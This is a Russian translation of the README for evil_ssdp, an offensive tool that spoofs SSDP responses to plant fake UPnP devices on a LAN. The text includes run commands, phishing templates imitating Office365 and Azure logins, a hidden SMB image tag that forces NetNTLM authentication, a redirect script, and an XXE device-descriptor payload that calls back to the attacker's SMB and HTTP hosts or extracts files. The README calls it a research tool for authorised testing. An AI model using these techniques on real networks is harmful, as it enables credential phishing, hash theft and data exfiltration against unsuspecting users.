
Подделывайте ответы SSDP и создавайте фальшивые устройства UPnP для фишинга учётных данных и запросов/ответов NetNTLM.
Этот инструмент отвечает на многоадресные запросы обнаружения SSDP, выдавая себя за устройство UPNP общего назначения. Ваше поддельное устройство волшебным образом появится в проводнике Windows на машинах в вашей локальной сети. Пользователи, которые соблазнятся открыть устройство, увидят настраиваемую фишинговую страницу. Эта страница может загружать скрытое изображение через SMB, что позволяет вам перехватывать или ретранслировать запрос/ответ NetNTLM.
Также предоставлены шаблоны для сбора открытых учетных данных с помощью базовой аутентификации и форм входа, а создание собственных пользовательских шаблонов быстро и просто.
Для выполнения не требуется каких-либо существующих учетных данных, и он работает даже в сетях, которые защищены от атак Responder путем отключения NETBIOS и LLMNR. Любая операционная система или приложение, использующие SSDP/UPNP, могут быть атакованы, но большая часть текущей разработки ориентирована на Windows 10.
В качестве бонуса этот инструмент также может обнаруживать и использовать потенциальные уязвимости нулевого дня в механизмах синтаксического анализа XML в приложениях, использующих SSDP/UPNP. Если найдено уязвимое устройство, он предупредит вас в интерфейсе, а затем смонтирует вашу общую папку SMB или извлечет данные БЕЗ НЕОБХОДИМОСТИ ВЗАИМОДЕЙСТВИЯ С ПОЛЬЗОВАТЕЛЕМ с помощью атаки XML External Entity (XXE).
Самый простой запуск выглядит так:
evil_ssdp.py eth0
Вы должны указать как минимум сетевой интерфейс. Интерфейс используется как для UDP-взаимодействия SSDP, так и для хостинга веб-сервера для XML-файлов и фишинговой страницы.
Инструмент автоматически обновит тег IMG на фишинговой странице, используя IP-адрес указанного вами интерфейса. Для работы с запросом/ответом вам потребуется запустить SMB-сервер на этом интерфейсе (например, Impacket). Этот адрес можно настроить с помощью опции -s.
Некоторые примеры сценариев:
# Использовать wlan0 для рекламы устройства и фишинга, перехватывая NetNTLM и
# запрашивая открытый текст через поддельную форму входа Office365. Перенаправить на
# Microsoft после захвата учетных данных:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# То же, что и выше, но при условии, что ваш SMB-сервер работает на другом IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Запрашивать учетные данные с помощью базовой аутентификации и перенаправлять на Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Надеяться на уязвимость XXE для перехвата NetNTLM, пока Impacket/Responder работает
# на wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Полные параметры использования:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Сетевой интерфейс для прослушивания.
optional arguments:
-h, --help показать это справочное сообщение и выйти
-p PORT, --port PORT Порт для HTTP-сервера. По умолчанию 8888.
-t TEMPLATE, --template TEMPLATE
Имя папки в каталоге templates. По умолчанию
"office365". Определяет используемые XML и фишинговые страницы.
-s SMB, --smb SMB IP-адрес вашего SMB-сервера. По умолчанию используется основной
адрес указанного "interface".
-b, --basic Включить базовую аутентификацию base64 для шаблонов и записывать
учетные данные в файл журнала.
-r REALM, --realm REALM
Область (realm) при запросе аутентификации у цели через
базовую аутентификацию.
-u URL, --url URL Перенаправить на этот URL. Работает с шаблонами, которые
выполняют POST для форм входа, и с шаблонами, которые включают
пользовательский JavaScript перенаправления (см. README для
получения дополнительной информации). [пример: -r https://google.com]
-a, --analyze Запустить в режиме анализа. НЕ будет отвечать ни на какие
запросы SSDP, но по-прежнему будет включать и запускать
веб-сервер для тестирования.
В комплекте с инструментом поставляются следующие шаблоны. Если у вас есть хорошие навыки дизайна, пожалуйста, добавьте свой собственный!
office365: Будет отображаться в проводнике Windows как "Office365 Backups". Фишинговая страница, похожая на страницу входа Office365, отправит учетные данные обратно вам через POST. Они будут отмечены в интерфейсе и записаны в файл журнала. Рекомендуется запускать с опцией '-u https://www.office.com', чтобы перенаправлять пользователей на легитимный сайт после кражи их учетных данных. Разработчик: pentestgeek.scanner: Будет отображаться в проводнике Windows как сканер с именем "Corporate Scanner [3 NEW SCANS WAITING]". Двойной щелчок приведет к странице входа общего вида. Этот шаблон хорошо поддается настройке под конкретную цель. Шаблон в основном скопирован из этого шаблона.microsft-azure: Будет отображаться в проводнике Windows как "Microsoft Azure Storage". Целевая страница — это страница входа Windows Live, когда cookies отключены. Рекомендуется использовать с опцией -u для перенаправления пользователей на настоящую страницу входа. Разработчик: Dwight Hohnstein.bitcoin: Будет отображаться в проводнике Windows как "Bitcoin Wallet". Фишинговая страница представляет собой просто случайный набор данных Bitcoin (закрытый ключ/открытый ключ/адрес). На этих аккаунтах нет реальных средств.password-vault: Будет отображаться в проводнике Windows как "IT Password Vault". Фишинговая страница содержит короткий список фейковых паролей / SSH-ключей и т.д.xxe-smb: Скорее всего, не будет отображаться в проводнике Windows. Используется для поиска уязвимостей нулевого дня в парсерах XML. При попадании выдаст предупреждение "XXE - VULN" в интерфейсе и попытается заставить клиентов аутентифицироваться на SMB-сервере без какого-либо взаимодействия.Создавать собственные шаблоны легко. Просто скопируйте папку существующего шаблона и отредактируйте следующие файлы:
device.xml: Здесь вы определяете, как устройство будет выглядеть в проводнике Windows.present.html: Это фишинговая страница, отображаемая, когда цель открывает зловредное устройство. Вы можете создать здесь все, что угодно. Обратите внимание, что строковый шаблон Python будет анализировать это, поэтому вам нужно будет использовать $$ вместо $ в любом месте, чтобы экранировать шаблонизатор.service.xml: Пока не реализован. Может потребоваться для более сложной подмены UPNP в будущем.На вашей фишинговой странице (present.html) используйте переменные, подобные следующим, для дополнительной функциональности:
# Следующая строка инициирует запрос/ответ NetNTLM, используя IP-адрес
# указанного вами интерфейса или дополнительно указанного IP-адреса:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />
# Следующее будет использовать дополнительно указанное перенаправление URL. Это
# удобно при использовании с базовой аутентификацией для перенаправления на
# действительный сайт. Эта строка встроена в шаблон microsoft-azure:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>
# Если вы используете HTTP-форму для захвата открытых учетных данных,
# используйте код, подобный следующему. Кроме того, любой шаблон,
# выполняющий POST-запрос, будет автоматически поддерживать параметр '-u'
# для перенаправления после завершения POST. Инструмент будет
# отслеживать POST-запросы на этот URL для получения учетных данных:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">
В настоящее время инструмент корректно создает устройства только для типа UPNP 'Basic', хотя он отвечает на SSDP-запросы для всех типов устройств. Если вы хорошо знаете UPNP, вы можете создать новый шаблон с правильными параметрами для удовлетворения запросов и других типов устройств. Здесь еще многое можно исследовать в плане эксплуатации конкретных приложений и того, как они ожидают и используют устройства UPNP.
Simple Service Discovery Protocol (SSDP) используется операционными системами (Windows, MacOS, Linux, IOS, Android и т.д.) и приложениями (Spotify, Youtube и т.д.) для обнаружения общих устройств в локальной сети. Это основа для обнаружения и рекламы устройств Universal Plug & Play (UPNP).
Устройства, пытающиеся обнаружить общие сетевые ресурсы, отправляют UDP-многоадресную рассылку на адрес 239.255.255.250 по порту 1900. Исходный порт рандомизирован. Пример запроса выглядит так:
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
Для взаимодействия с этим хостом нам нужно перехватить как исходный порт, так и заголовок 'ST' (Service Type). Ответ ДОЛЖЕН быть отправлен на правильный исходный порт и ДОЛЖЕН включать правильный заголовок ST. Обратите внимание, что не только ОС Windows ищет устройства — сканирование типичной сети покажет большое количество запросов от приложений внутри ОС (например, Spotify), мобильных телефонов и других мультимедийных устройств. Windows будет взаимодействовать только в том случае, если вы ответите с правильным ST, другие источники более снисходительны.
evil_ssdp извлекает запрошенный ST и отправляет ответ, подобный следующему:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
Заголовки (в частности, LOCATION, 01-NLS, ST и USN) формируются динамически. Это сообщает запрашивающему, где найти дополнительную информацию о нашем устройстве. Здесь мы заставляем Windows (и других запрашивающих) получить и проанализировать наш XML-файл 'Device Descriptor'. USN — это просто случайная строка, она должна быть только уникальной и правильно отформатированной.
evil_ssdp извлекает файл 'device.xml' из выбранной папки шаблонов и динамически подставляет некоторые переменные, такие как ваш IP-адрес. В этом файле 'Device Descriptor' вы можете настроить привлекательные имена и описания. Он выглядит так:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>
</device>
</root>
Ключевая строка в этом файле содержит 'Presentation URL'. Это то, что загрузится в браузере пользователя, если он решит дважды щелкнуть на устройстве UPNP. evil_ssdp будет автоматически хостить этот файл (present.html из выбранной папки шаблонов), подставляя ваш исходный IP-адрес в тег IMG для доступа к общей папке SMB, которую вы можете хостить с помощью таких инструментов, как Impacket, Responder или Metasploit.
Тег IMG выглядит так:
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>
По умолчанию этот инструмент, по сути, заставляет устройства в сети анализировать XML-файл. Существует известная атака на приложения, анализирующие XML, — XML External Entity Processing (XXE).
Этот тип атаки на устройства UPNP, вероятно, упускается из виду — просто потому, что метод атаки сложен и не очевиден. Однако evil_ssdp делает очень простым тестирование на наличие уязвимых устройств в вашей сети. Просто запустите инструмент и ищите большую надпись [XXE VULN!!!] в выводе. ПРИМЕЧАНИЕ: использование шаблона xxe, скорее всего, не создаст видимых зловредных устройств в локальной сети, он предназначен только для сценариев с нулевым взаимодействием.
Это достигается путем предоставления XML-файла Descriptor устройства со следующим содержимым:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
Когда уязвимый парсер XML читает этот файл, он автоматически монтирует общую папку SMB (позволяя вам взломать хеш или ретранслировать), а также обращается к HTTP-URL, чтобы уведомить вас об обнаружении. Уведомление будет содержать HTTP-заголовки и IP-адрес, что должно дать вам некоторую информацию об уязвимом приложении. Если вы это увидите, пожалуйста, свяжитесь с вендором, чтобы исправить проблему. Кроме того, я был бы рад узнать о любых нулевых днях, которые вы найдете с помощью этого инструмента. И, пожалуйста, упомяните инструмент в вашем CVE.
Также спасибо Microsoft за разработку множества веселых небезопасных штук для игр.
Это инструмент для исследований в области безопасности. Используйте только там, где есть явное разрешение от владельца сети.
xxe-exfil: Еще один пример поиска уязвимостей XXE, но на этот раз с попыткой извлечения тестового файла с хоста Windows. Конечно, вы можете настроить его на поиск любого конкретного файла, который вам нужен, будь то Windows или Linux. В уязвимых приложениях, которые я обнаружил, извлечение работает только для файлов без пробелов или разрывов строк. Это связано с тем, как он внедряется в URL GET-запроса. Если у вас получится заставить это работать с многострочными файлами, ПОЖАЛУЙСТА, дайте мне знать, как вы это сделали.